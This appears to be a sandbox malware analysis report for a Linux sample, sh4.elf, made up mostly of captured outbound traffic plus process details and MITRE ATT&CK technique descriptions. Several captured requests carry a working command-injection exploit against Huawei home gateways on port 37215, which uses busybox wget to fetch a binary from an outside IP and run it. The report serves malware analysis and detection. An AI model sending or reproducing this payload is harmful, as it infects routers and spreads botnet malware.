Dec 3, 2024 22:02:06.095794916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	49074	41.242.231.240	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.096477985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	45228	41.66.212.146	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.097119093 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	60118	41.159.149.11	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.097773075 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	55910	197.53.171.17	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.098414898 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	52106	197.131.102.163	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.099078894 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	43406	156.176.19.33	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:02:06.099726915 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: sh4.elf PID: 5482, Parent PID: 5408

General

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	21:01:58
Start date (UTC):	03/12/2024
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: sh4.elf PID: 5482, Parent PID: 5408

General

Chronological Activities

Analysis Process: sh4.elf PID: 5484, Parent PID: 5482

General

Chronological Activities

Analysis Process: sh4.elf PID: 5486, Parent PID: 5484

General

Chronological Activities

Analysis Process: sh4.elf PID: 5488, Parent PID: 5484

General

Chronological Activities

Analysis Process: sh4.elf PID: 5490, Parent PID: 5484

Linux Analysis Report
sh4.elf